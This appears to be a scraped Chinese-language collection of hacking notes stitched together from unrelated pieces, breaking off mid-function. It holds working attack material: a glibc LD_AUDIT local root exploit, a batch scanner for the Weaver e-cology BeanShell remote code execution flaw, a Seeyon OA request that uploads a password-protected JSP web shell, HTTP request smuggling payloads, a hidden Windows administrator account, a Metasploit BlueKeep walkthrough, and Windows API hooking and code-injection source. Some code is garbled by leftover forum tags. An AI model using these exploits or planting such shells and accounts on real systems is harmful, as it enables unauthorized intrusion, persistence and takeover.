cd /tmp

mkdir exploit

ll /bin/ping

ln /bin/ping /tmp/exploit/target

ll /tmp/exploit/target

exec 3< /tmp/exploit/target

ll /proc/$$/fd/3

rm -rf /tmp/exploit/

ll /proc/$$/fd/3

vim payload.c

void __attribute__((constructor)) init()  // 两个下划线

{

     setuid(0);

     system("/bin/bash");

}

gcc -W -fPIC -shared -o /tmp/exploit payload.c

LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

ERROR: ld.so: object '$ORIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.

Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]

            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]

            [-M mtu discovery hint] [-S sndbuf]

            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

    2019年9月19日，泛微e-cology OA系统被爆出存在远程代码执行漏洞。该漏洞存在于泛微协同管理应用平台OA系统的BeanShell组件中，该组件为系统自带且允许未授权访问。攻击者通过调用BeanShell组件的问题接口可直接在目标服务器上执行任意命令，目前该漏洞安全补丁已发布，请使用泛微e-cology OA系统的用户尽快采取防护措施。

    该漏洞CNVD编号：CNVD-2019-32204

    泛微e-cology<=9.0

import requests

import argparse



def verify(url,payload):

    #Furl=url+"/bshservlet/eval" #实验环境

    Furl=url+"/weaver/bsh.servlet.BshServle"

    with open("vlun_list.txt",'a') as vList:

        try:

            res = requests.post(Furl, data = payload)

            #print(res.text)

            if res.status_code == 200 :

                if "Error:" not in res.text:

                    print(url + " is a vlun [Verify Success!]\n")

                    #print(res.text)

                    vList.write(url+'\n')

                else:

                    print(url + "Verify Failed! not a vlun\n")

            else:

                print(str(res.status_code)+url+" Verify Failed! not a vlun \n")

        except Exception:

            raise Exception("Connet Failed!")







def ecologyexp(urls,mode): 

    payload={"bsh.script":"exec(\"whoami\")","bsh.servlet.output":"raw"}

    if mode == '1':

        verify(urls,payload)

    elif mode == '2':

        with open(urls) as uFile:

            for url in uFile.readlines():

                try:

                    verify(url,payload)

                except Exception as e:

                    print(e)

                continue    

    else:

        pass



parser = argparse.ArgumentParser(description='e-cology verify',epilog="python e-cology-EXP.py -u url -m 1 || python e-cology-EXP.py -ul url.txt -m 2")

parser.add_argument('--url', '-u', help='url 属性，需检测站点的url')

parser.add_argument('--mode', '-m', help='mode 属性，单点检测||批量检测{1:url,2:urlList}', default='1')

parser.add_argument('--urlList', '-ul', help='urlList 属性，url列表')

parser.add_argument('--level', '-lv', help='level 属性，普通检测||高级检测{1:normal,2:pro}', default='1')

args = parser.parse_args()







if __name__ == '__main__':

    with open("vlun_list.txt",'w') as vF:

        vF.write("vlun_list\n")

    

    try:

        if args.urlList is not None:

            ecologyexp(args.urlList,args.mode)

        else:

            ecologyexp(args.url,args.mode)

    except Exception as e:

        print(e)

使用 -h 查看使用方法



单点检测 model1:  python e-cology-poc.py -u url

批量检测 model2:  python e-cology-poc.py -ul url.txt -m 2

• 致远A8-V5协同管理软件 V6.1sp1
• 致远A8+协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3
• 致远A8+协同管理软件 V7.1

/seeyon/htmlofficeservlet

POST /seeyon/htmlofficeservlet HTTP/1.1

Content-Length: 1121

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: xxxxxxxxx

Pragma: no-cache



DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV

OPTION=S3WYOSWLBSGr

currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66

CREATEDATE=wUghPB3szB3Xwg66

RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6

originalFileId=wV66

originalCreateDate=wUghPB3szB3Xwg66

FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6

needReadFile=yRWZdAS6

originalCreateDate=wLSGP4oEzLKAz4=iz=66

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce

从HTTP/1.1开始，广泛支持通过单个基础TCP或SSL / TLS套接字发送多个HTTP请求。该协议非常简单-HTTP请求简单地背对背放置，服务器解析标头以计算出每个结束的位置以及下一个开始的位置。这通常与HTTP流水线混淆，HTTP流水线是一种稀有的子类型，对于本文中描述的攻击而言并不是必需的。





就其本身而言，这是无害的。但是，现代网站由系统链组成，所有系统都通过HTTP进行通信。这种多层体系结构接收来自多个不同用户的HTTP请求，并通过单个TCP / TLS连接路由它们：

这意味着突然之间，后端与前端就每个消息的结束位置达成一致至关重要。否则，攻击者可能能够发送模糊的消息，该消息被后端解释为两个不同的HTTP请求：

这使攻击者能够在下一个合法用户的请求开始时添加任意内容。在整个本文中，被走私的内容将被称为“前缀”，并以橙色突出显示。



让我们想象一下，前端优先考虑第一个内容长度标头，而后端优先考虑第二个内容长度标头。从后端的角度来看，TCP流可能类似于：

POST / HTTP/1.1

Host: example.com

Content-Length: 6

Content-Length: 5



12345GPOST / HTTP/1.1

Host: example.com

…

在后台，前端将蓝色和橙色数据转发到后端，后端仅在发出响应之前读取蓝色内容。这会使后端套接字充满橙色数据。当合法的绿色请求到达时，它最终会附加在橙色内容上，从而导致意外的响应。



在此示例中，注入的“ G”将破坏绿色用户的请求，并且他们很可能会获得“未知方法GPOST”的响应。





在html规范中由于规定了“[size=16]如果收到的消息同时带有一个Transfer-Encoding头域和一个Content-Length头域，则后者必须被忽略。[/size]”所以很少有服务器会拒绝此类请求。

检测请求走私漏洞的一种明显方法是发出一个模棱两可的请求，然后发出一个正常的“受害者”请求，然后观察后者是否收到意外响应。但是，这极易受到干扰。如果另一个用户的请求在我们的受害者请求之前命中了中毒的套接字，那么他们将获得损坏的响应，我们将不会发现该漏洞。这意味着在流量很大的实时站点上，如果不利用大量真实用户，就很难证明存在请求走私行为。即使在没有其他流量的站点上，您也会因为服务器终止连接引起的误报的风险。

为了解决这个问题，James Kettle开发了一种检测策略，该策略使用一系列消息使脆弱的后端系统挂起并超时连接。该技术几乎没有误报，可以抵制可能导致误报的应用程序错误，而且最重要的是几乎没有影响其他用户的风险。

这是一个正常POST的请求。

这是一个http smuggling 的请求，这里我们看到后端返回给我们的是未知请求“GPOST”，所以我们可以确认“G”是已经被带到了下一个用户的请求头上。





由于后端使用TE头接收数据，但是0在TE分块规则中代表结束，所以后端在解析到0时就认为这个数据包已经结束了，而后面的“G”会等待下一个用户的请求而附加在下一个请求的头部。

这是个正常的请求。

这是一个http smuggling 的请求，这里们看到后端返回给我们的是未知请求“G0POST”,所以这个地方存在http smuggling漏洞。

是因为我们在前端使用了一个较短的content-Length长度，这里需要注意的是要关掉burp的自动更新长度的功能，请求包的最后面要加两个回车换行，要不然会失败。

前端服务器处理Transfer-Encoding标头，因此将消息正文视为使用分块编码。它处理第一个块，声明为8个字节长，直到“G”之后的行的开始。它处理第二个数据块，该数据块的长度为零，因此被视为终止请求。该请求被转发到后端服务器。

后端服务器处理Content-Length标头，并确定请求正文的长度为3个字节，直到之1后的行的开头。接下来的字节未经处理，后端服务器会将其视为序列中下一个请求的开始。

Transfer-Encoding: xchunked



Transfer-Encoding : chunked



Transfer-Encoding: chunked

Transfer-Encoding: x



Transfer-Encoding:[tab]chunked



[space]Transfer-Encoding: chunked



X: X[\n]Transfer-Encoding: chunked



Transfer-Encoding: chunked

这些技术中的每一种都涉及到与HTTP规范的细微偏离。实现协议规范的实际代码难以十分精准体现，并且不同的实现通常包含不同变化。要发现TE.TE漏洞，有必要找到Transfer-Encoding标头的一些变体，以便只有一个前端或后端服务器处理它，而另一个服务器忽略它。

这个漏洞核心是多个Transfer-Encoding标头的混淆。

禁用后端连接的重用，以便每个后端请求通过单独的网络连接发送。

使用HTTP/2.0 进行后端连接，因为此协议可防止对请求之间的边界产生歧义。

前端服务器和后端服务器使用完全相同的Web服务器软件，以便它们就请求之间的界限达成一致。

net user wuyou$ 123456 /add

net localgroup administrators wuyou$ /add

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users

net user wuyou$ /del

在2019年5月，微软发布了针对远程代码执行漏洞CVE-2019-0708的补丁更新，该漏洞也称为“BlueKeep”，漏洞存在于远程桌面服务（RDS）的代码中。此漏洞是预身份验证，无需用户交互，因此具有潜在武器化蠕虫性性漏洞利用的危险。如果成功利用此漏洞，则可以使用“系统”权限执行任意代码。Microsoft安全响应中心的建议表明这个漏洞也可能会成为一种蠕虫攻击行为，类似于Wannacry和EsteemAudit等攻击行为。由于此漏洞的严重性及其对用户的潜在影响，微软采取了罕见的预警步骤，为不再受支持的Windows XP操作系统发布补丁，以保护Windows用户。

自该补丁于5月发布以来，该漏洞受到了安全行业的广泛关注，在野利用漏洞只是时间问题。

ed2k://|file|cn_windows_7_professional_with_sp1_x64_dvd_u_677031.iso|3420557312|430BEDC0F22FA18001F717F7AF08C9D5|/

https://pan.baidu.com/s/1HqmKbp4ZjMsUm0gRlTEVFQ 提取码: vkqw

apt-get update

apt-get install metasploit-framework

[-] 192.168.1.106:3389 - Exploit failed: NameError undefined local variable or method `rdp_connect' for #<Msf::Modules::Exploit__Windows__Rdp__Cve_2019_0708_bluekeep_rce::MetasploitModule:0x00007f9c251837b0>

rdp.rb -> /usr/share/metasploit-framework/lib/msf/core/exploit 



rdp_scanner.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp 



cve_2019_0708_bluekeep.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp 



cve_2019_0708_bluekeep_rce.rb -> /usr/share/metasploit-framework/modules/exploits/windows/rdp 



需要注意如果没有目录就去创建个。

reload_all

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > search 0708

=======



   #  Name                                             Disclosure Date  Rank    Check  Description

   -  ----                                             ---------------  ----    -----  -----------

   0  auxiliary/scanner/rdp/cve_2019_0708_bluekeep     2019-05-14       normal  Yes    CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check

   1  exploit/windows/browser/clear_quest_cqole        2012-05-19       normal  No     IBM Rational ClearQuest CQOle Remote Code Execution

   2  exploit/windows/browser/tumbleweed_filetransfer  2008-04-07       great   No     Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow

   3  exploit/windows/rdp/cve_2019_0708_bluekeep_rce   2019-05-14       manual  Yes    CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free

   4  auxiliary/windows/rdp/cve_2019_0708_bluekeep     2019-05-14       normal  Yes    CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

set rhosts 192.168.1.106

set target 3

exploit

set target 1

exploit

Windows 7

Windows Server 2008 R2

Windows Server 2008

Windows 2003

Windows XP

1. IAT：将内部 API 的地址修改为我们的钩取函数地址。优点是实现简单；缺点是无法针对不在 IAT 但是在程序中使用的 API（动态加载并使用 DLL 时）。
2. 代码空间：DLL 映射到内存空间后，从中查找出 API 的实际地址，直接修改代码。这种方法应用非常广泛。
3. EAT：将 DLL 的 EAT 中的 API 地址更改为我们的钩取函数地址。具体实现方法不如修改代码方便、强大，所以不常用。

1. 调试法：通过调试目标进程来钩取 API。因为调试器拥有调试者所有权限。
2. 注入法

Main()

{

    DebugActiveProcess(PID)            //将调试器附加到目标进程

    DebugLoop()                        //开启调试循环   

}



DebugLoop()

{

    while(WaitForDebugEvent(de,))                //调试循环

    {

        case de.dwDebugEventCode:





            CREATE_PROCESS_DEBUG_EVENT            //当被调试进程启动启动时即调用此函数

            OnCreateProcessDebugEvent(&de)





            EXCEPTION_DEBUG_EVENT                //遇到异常时调用此函数

            OnExceptionDebugEvent(&de)





            EXIT_PROCESS_DEBUG_EVENT            //终止调试

            break





    }

}





    OnCreateProcessDebugEvent(&de)

    {

        将 de的进程信息复制给 g_cpdi

        GetProcessAddress()                 //获得 WriteFile API 的地址

        ReadProcessMemory()                 //保存 API 起始位置备份，用以恢复

        WriteProcessMemory()                //将 API 起始位置设置为断点

        

    }





    OnExceptionDebugEvent(&de)

    {

        1.根据异常信息判断是否为断点异常

        2.根据异常信息判断异常地址是否为我们设置的断点地址

            3.脱钩：将我们设置的断点指令还原为原指令

            4.获取发生异常时的线程上下文

            5.根据上下文中的 ESP 获得 WritelFile API 的参数 2 和 参数 3 地址

            6.分配临时缓冲区，将参数读取到临时缓冲区

            7.转换大小写

            8.覆写到 WritelFile API 参数缓冲区

            9.释放临时缓冲区

            10.设置 EIP

            11.继续运行程序

            12.设置钩子

    }

#include "windows.h"

#include "stdio.h"



LPVOID g_pfWriteFile = NULL;

CREATE_PROCESS_DEBUG_INFO g_cpdi;

BYTE g_chINT3 = 0xCC, g_chOrgByte = 0;



BOOL OnCreateProcessDebugEvent(LPDEBUG_EVENT pde)

{

    // 获得 WriteFile() API 函数地址

    g_pfWriteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile");

    // API Hook - WriteFile()

        // 将信息复制给 g_cpdi

    memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));

    ReadProcessMemory(g_cpdi.hProcess, g_pfWriteFile,

                      &g_chOrgByte, sizeof(BYTE), NULL);

    WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,

                       &g_chINT3, sizeof(BYTE), NULL);

    return TRUE;

}



BOOL OnExceptionDebugEvent(LPDEBUG_EVENT pde)

{

    CONTEXT ctx;

    PBYTE lpBuffer = NULL;

    DWORD dwNumOfBytesToWrite, dwAddrOfBuffer, i;

    PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;

    // 如果是断点异常

    if( EXCEPTION_BREAKPOINT == per->ExceptionCode )

    {

        // 如果发生异常的地址是我们设置断点的地址

        if( g_pfWriteFile == per->ExceptionAddress )

        {

            // #1. Unhook

            // 将我们写入的 0xCC 替换为原来的指令

            WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,

                               &g_chOrgByte, sizeof(BYTE), NULL);

            // #2. 获取线程上下文

            ctx.ContextFlags = CONTEXT_CONTROL;

            GetThreadContext(g_cpdi.hThread, &ctx);

            // #3. 获取 WriteFile() 的第2个参数和第3个参数

            //   param 2 : ESP + 0x8

            //   param 3 : ESP + 0xC

            ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0x8),

                              &dwAddrOfBuffer, sizeof(DWORD), NULL);

            ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0xC),

                              &dwNumOfBytesToWrite, sizeof(DWORD), NULL);

            // #4. 分配临时缓冲区

            lpBuffer = (PBYTE)malloc(dwNumOfBytesToWrite+1);

            memset(lpBuffer, 0, dwNumOfBytesToWrite+1);

            // #5. 将 WriteFile() 缓冲区的内容复制到临时缓冲区

            ReadProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,

                              lpBuffer, dwNumOfBytesToWrite, NULL);

            printf("\n### original string ###\n%s\n", lpBuffer);

            // #6. 转换大小写

            for( i = 0; i < dwNumOfBytesToWrite; i++ )

            {

                if( 0x61 <= lpBuffer && lpBuffer <= 0x7A )

                    lpBuffer -= 0x20;

            }

            printf("\n### converted string ###\n%s\n", lpBuffer);

            // #7. 变换后的内容复制到 WriteFile() 缓冲区

            WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,

                               lpBuffer, dwNumOfBytesToWrite, NULL);

            

            // #8. 释放临时缓冲区

            free(lpBuffer);

            // #9. 设置 EIP

            ctx.Eip = (DWORD)g_pfWriteFile;

            SetThreadContext(g_cpdi.hThread, &ctx);

            // #10. 运行调试进程

            ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);

            Sleep(0);

            // #11. API Hook

            WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,

                               &g_chINT3, sizeof(BYTE), NULL);

            return TRUE;

        }

    }

    return FALSE;

}



void DebugLoop()

{

    DEBUG_EVENT de;

    DWORD dwContinueStatus;

    // 等待调试事件发生

    while( WaitForDebugEvent(&de, INFINITE) )

    {

        dwContinueStatus = DBG_CONTINUE;

        // 被调试进程生成或者附加事件

        if( CREATE_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )

        {

            OnCreateProcessDebugEvent(&de);

        }

        // 异常事件

        else if( EXCEPTION_DEBUG_EVENT == de.dwDebugEventCode )

        {

            if( OnExceptionDebugEvent(&de) )

                continue;

        }

        // 终止调试进程

        else if( EXIT_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )

        {

            //

            break;

        }

        // 再次运行被调试者

        ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);

    }

}



int main(int argc, char* argv)

{

    DWORD dwPID;

    if( argc != 2 )

    {

        printf("\nUSAGE : hookdbg.exe <pid>\n");

        return 1;

    }

    // Attach Process

    dwPID = atoi(argv[1]);

    if( !DebugActiveProcess(dwPID) )

    {

        printf("DebugActiveProcess(%d) failed!!!\n"

               "Error Code = %d\n", dwPID, GetLastError());

        return 1;

    }

    // 调试器循环

    DebugLoop();

    return 0;

}

BOOL SetWindowTextA(

  HWND   hWnd,

  LPCSTR lpString

);

1. 将 DLL 注入进目标进程。
2. 替换目标进程 IAT 中的 API 地址。
3. 将阿拉伯数字跟改为中文数字。

1. 找到目标 API 在 IAT 中的存储地址。
2. 得到我们的函数的地址。
3. 进行替换。

1. 找到内存中导入表地址。
2. 遍历 IID，找到目标 DLL 对应的 IID。
3. 遍历目标 IID 的 IAT，对比找到存储目标 API 的项，将其值替换我们的地址。

//参数分别是目标DLL名称，目标API的地址

BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)

{

        HMODULE hMod;

        LPCSTR szLibName;

        PIMAGE_IMPORT_DESCRIPTOR pImportDesc;

        PIMAGE_THUNK_DATA pThunk;

        DWORD dwOldProtect, dwRVA;

        PBYTE pAddr;

        

        //hMod是目标进程的 ImageBase

        hMod = GetModuleHandle(NULL);                               

        pAddr = (PBYTE)hMod;

        

        //pAddr用来得到NT头的地址

        pAddr += *((DWORD*)&pAddr[0x3C]);

        

        //dwRVA得到导入表的RVA

        dwRVA = *((DWORD*)&pAddr[0x90]);

        

        //pImportDesc是首个IID

        pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);

        

        //通过循环遍历IID寻找目标DLL

        for( ; pImportDesc->Name; pImportDesc++ )

        {

               //szLibName 是导入DLL的名称

               szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);

                

                //循环遍历存储目标API的项

               if( !_stricmp(szLibName, szDllName) )

               {

                       pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +

                                         pImportDesc->FirstThunk);

                       for( ; pThunk->u1.Function; pThunk++ )

                       {

                              if( pThunk->u1.Function == (DWORD64)pfnOrg )

                              {

                     

                                      VirtualProtect((LPVOID)&pThunk->u1.Function,

                                   4,

                                   PAGE_EXECUTE_READWRITE,

                                   &dwOldProtect);

                    

                    pThunk->u1.Function = (DWORD64)pfnNew;

                                      

                    VirtualProtect((LPVOID)&pThunk->u1.Function,

                                   4,

                                   dwOldProtect,

                                   &dwOldProtect);                                        

                                      return TRUE;

                              }

                       }

               }

        }

        return FALSE;

}

BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)

{

    wchar_t* pNum = L"零一二三四五六七八九";

    wchar_t temp[2] = {0,};

    int i = 0, nLen = 0, nIndex = 0;

    nLen = wcslen(lpString);

    for(i = 0; i < nLen; i++)

    {

        if( L'0' <= lpString[i] && lpString[i] <= L'9' )

        {

            temp[0] = lpString[i];

            nIndex = _wtoi(temp);

            lpString[i] = pNum[nIndex];

        }

    }

    return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);

}[/i][/i][/i][/i]

[i][i][i][i]// include

#include "stdio.h"

#include "wchar.h"

#include "windows.h"



// typedef

typedef BOOL (WINAPI *PFSETWINDOWTEXTW)(HWND hWnd, LPWSTR lpString);



// globals

FARPROC g_pOrgFunc = NULL;





BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)

{

    wchar_t* pNum = L"零一二三四五六七八九";

    wchar_t temp[2] = {0,};

    int i = 0, nLen = 0, nIndex = 0;

    nLen = wcslen(lpString);

    for(i = 0; i < nLen; i++)

    {

        if( L'0' <= lpString && lpString <= L'9' )

        {

            temp[0] = lpString;

            nIndex = _wtoi(temp);

            lpString = pNum[nIndex];

        }

    }

    return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);

}



// hook_iat

BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)

{

        HMODULE hMod;

        LPCSTR szLibName;

        PIMAGE_IMPORT_DESCRIPTOR pImportDesc;

        PIMAGE_THUNK_DATA pThunk;

        DWORD dwOldProtect, dwRVA;

        PBYTE pAddr;

        hMod = GetModuleHandle(NULL);

        pAddr = (PBYTE)hMod;

        pAddr += *((DWORD*)&pAddr[0x3C]);

        dwRVA = *((DWORD*)&pAddr[0x90]);

        pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);

        for( ; pImportDesc->Name; pImportDesc++ )

        {

               //szLibName 是IID的名字

               szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);

               if( !_stricmp(szLibName, szDllName) )

               {

                       pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +

                                         pImportDesc->FirstThunk);

                       for( ; pThunk->u1.Function; pThunk++ )

                       {

                              if( pThunk->u1.Function == (DWORD64)pfnOrg )

                              {

                     

                                      VirtualProtect((LPVOID)&pThunk->u1.Function,

                                   4,

                                   PAGE_EXECUTE_READWRITE,

                                   &dwOldProtect);

                    pThunk->u1.Function = (DWORD64)pfnNew;

                                      

                    VirtualProtect((LPVOID)&pThunk->u1.Function,

                                   4,

                                   dwOldProtect,

                                   &dwOldProtect);                                        

                                      return TRUE;

                              }

                       }

               }

        }

        return FALSE;

}



BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)

{

        switch( fdwReason )

        {

               case DLL_PROCESS_ATTACH :          

               g_pOrgFunc = GetProcAddress(GetModuleHandle(L"user32.dll"),

                                        "SetWindowTextW");

                       hook_iat("user32.dll", g_pOrgFunc, (PROC)MySetWindowTextW);

                       break;

               case DLL_PROCESS_DETACH :

            hook_iat("user32.dll", (PROC)MySetWindowTextW, g_pOrgFunc);

                       break;

        }

        return TRUE;

}

[/i][/i][/i][/i]

1. 获取目标进程句柄
2. 在目标进程中申请内存空间，将数据写入
3. 在目标进程中申请内存空间，将代码写入
4. 调用 CreateRemoteThread 函数，使之调用我们的代码。 

hMod = LoadLibraryA("user32.dll");

pFunc = GetProcAddress(hMod, "MessageBoxA");

pFunc(NULL, "White Album2", "Touma Kazusa", MB_OK);

typedef struct _THREAD_PARAM

{

        FARPROC pFunc[2];               // LoadLibraryA(), GetProcAddress()

        char    szBuf[4][128];          // "user32.dll", "MessageBoxA",  "www.reversecore.com", "ReverseCore"

} THREAD_PARAM, * PTHREAD_PARAM;

THREAD_PARAM   param                  = { 0, };

 

hMod = GetModuleHandleA("Kernel32.dll");

 

param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");

param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");

strcpy_s(param.szBuf[0], "user32.dll");

strcpy_s(param.szBuf[1], "MessageBoxA");

strcpy_s(param.szBuf[2], "Touma Kazusa");

strcpy_s(param.szBuf[3], "White Album2");

DWORD WINAPI ThreadProc(LPVOID lParam)

{

        PTHREAD_PARAM   pParam = (PTHREAD_PARAM)lParam;

        HMODULE         hMod = NULL;

        FARPROC         pFunc = NULL;

        // LoadLibrary()

        hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]);    // "user32.dll"

        if (!hMod)

               return 1;

        // GetProcAddress()

        pFunc = (FARPROC)((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]);  //  "MessageBoxA"

        if (!pFunc)

               return 1;

        // MessageBoxA()

        ((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);

        return 0;

}

dwSize = (DWORD)CodeInject - (DWORD)ThreadProc;

if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess,

                                     NULL,

                                     dwSize,

                                     MEM_COMMIT,

                                     PAGE_EXECUTE_READWRITE)) )

{

    printf("申请代码空间失败 : err_code = %d\n", GetLastError());

    return FALSE;

}

if( !WriteProcessMemory(hProcess,

                        pRemoteBuf[1],

                        (LPVOID)ThreadProc,

                        dwSize,

                        NULL) )

{

    printf("写入代码失败 : err_code = %d\n", GetLastError());

    return FALSE;

}

#include <Windows.h>

#include <stdio.h>

#include <TlHelp32.h> 

                 

typedef struct _THREAD_PARAM

{

        FARPROC pFunc[2];               // LoadLibraryA(), GetProcAddress()

        char    szBuf[4][128];          // "user32.dll", "MessageBoxA",  "www.reversecore.com", "ReverseCore"

} THREAD_PARAM, * PTHREAD_PARAM;

 

typedef HMODULE(WINAPI* PFLOADLIBRARYA)

(

        LPCSTR lpLibFileName

        );

 

typedef FARPROC(WINAPI* PFGETPROCADDRESS)

(

        HMODULE hModule,

        LPCSTR lpProcName

        );

 

//定义了一个新类型

typedef int (WINAPI* PFMESSAGEBOXA)

(

        HWND hWnd,

        LPCSTR lpText,

        LPCSTR lpCaption,

        UINT uType

        );

 

//函数用于提升权限

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)

{

        HANDLE hToken;

        LUID luid;

        TOKEN_PRIVILEGES NewState;

        //获得访问令牌，返回到参数 hToken。

        if (!OpenProcessToken(GetCurrentProcess(),

               TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,

               &hToken))

        {

               printf("OpenProcessToken error: %u\n", GetLastError());

               return FALSE;

        }

        

        //获得 LUID，返回到参数 luid。

        if (!LookupPrivilegeValue(NULL,           

               lpszPrivilege,  

               &luid))        

        {

               printf("LookupPrivilegeValue error: %u\n", GetLastError());

               return FALSE;

        }

        NewState.PrivilegeCount = 1;

        NewState.Privileges[0].Luid = luid;

        if (bEnablePrivilege)

               NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        else

               NewState.Privileges[0].Attributes = 0;

        

        //调整特权信息

        if (!AdjustTokenPrivileges(hToken,

               FALSE,

               &NewState,

               sizeof(TOKEN_PRIVILEGES),

               (PTOKEN_PRIVILEGES)NULL,

               (PDWORD)NULL))

        {

               printf("AdjustTokenPrivileges error: %u\n", GetLastError());

               return FALSE;

        }

        if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

        {

               printf("The token does not have the specified privilege. \n");

               return FALSE;

        }

        return TRUE;

}

 

//要注入的代码

DWORD WINAPI ThreadProc(LPVOID lParam)

{

        PTHREAD_PARAM   pParam = (PTHREAD_PARAM)lParam;

        HMODULE         hMod = NULL;

        FARPROC         pFunc = NULL;

        // LoadLibrary()

        hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]);    // "user32.dll"

        if (!hMod)

               return 1;

        // GetProcAddress()

        pFunc = (FARPROC)((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]);  //  "MessageBoxA"

        if (!pFunc)

               return 1;

        // MessageBoxA()

        ((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);

        return 0;

}

 

//函数用于注入代码和数据

BOOL CodeInject(DWORD dwPID)

{

        HMODULE                hMod                   = NULL;                               //目标DLL的句柄

        HANDLE                 hProcess               = NULL;                               //目标进程的句柄

        THREAD_PARAM   param                  = { 0, };                             //要注入的数据

        DWORD                  dwSize                 = 0;                                  //申请空间大小

        LPVOID                 pRemoteBuf[2]  = { 0, };                             //指向申请的缓存区的指针，0是指向数据缓存区，1指向代码缓存区

        HANDLE                 hThread                = NULL;                               //远程线程的句柄

        hMod = GetModuleHandleA("Kernel32.dll");

        //注入代码需要使用到的数据

        param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");

        param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");

        strcpy_s(param.szBuf[0], "user32.dll");

        strcpy_s(param.szBuf[1], "MessageBoxA");

        strcpy_s(param.szBuf[2], "Touma Kazusa");

        strcpy_s(param.szBuf[3], "White Album2");

        //获取进程句柄

        if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS,

                                                              FALSE,

                                         dwPID)) )

        {

               printf("OpneProcess API 调用失败");

               return FALSE;

        }

        //为数据申请空间

        dwSize = sizeof(THREAD_PARAM);

        if ( !(pRemoteBuf[0] = VirtualAllocEx(hProcess,

                                                                            NULL,

                                                                            dwSize,

                                                                            MEM_COMMIT,

                                                                             PAGE_READWRITE)) )

        {

               printf("申请数据空间失败 : err_code = %d\n", GetLastError());

               return FALSE;

        }

        //写入数据

        if (!WriteProcessMemory(hProcess,

                                                     pRemoteBuf[0],

                                                     (LPVOID)&param,

                                                     dwSize,

                                                     NULL))

        {

               printf("写入数据失败 : err_code = %d\n", GetLastError());

               return FALSE;

        }

        //为代码申请空间

        dwSize = (DWORD)CodeInject - (DWORD)ThreadProc;

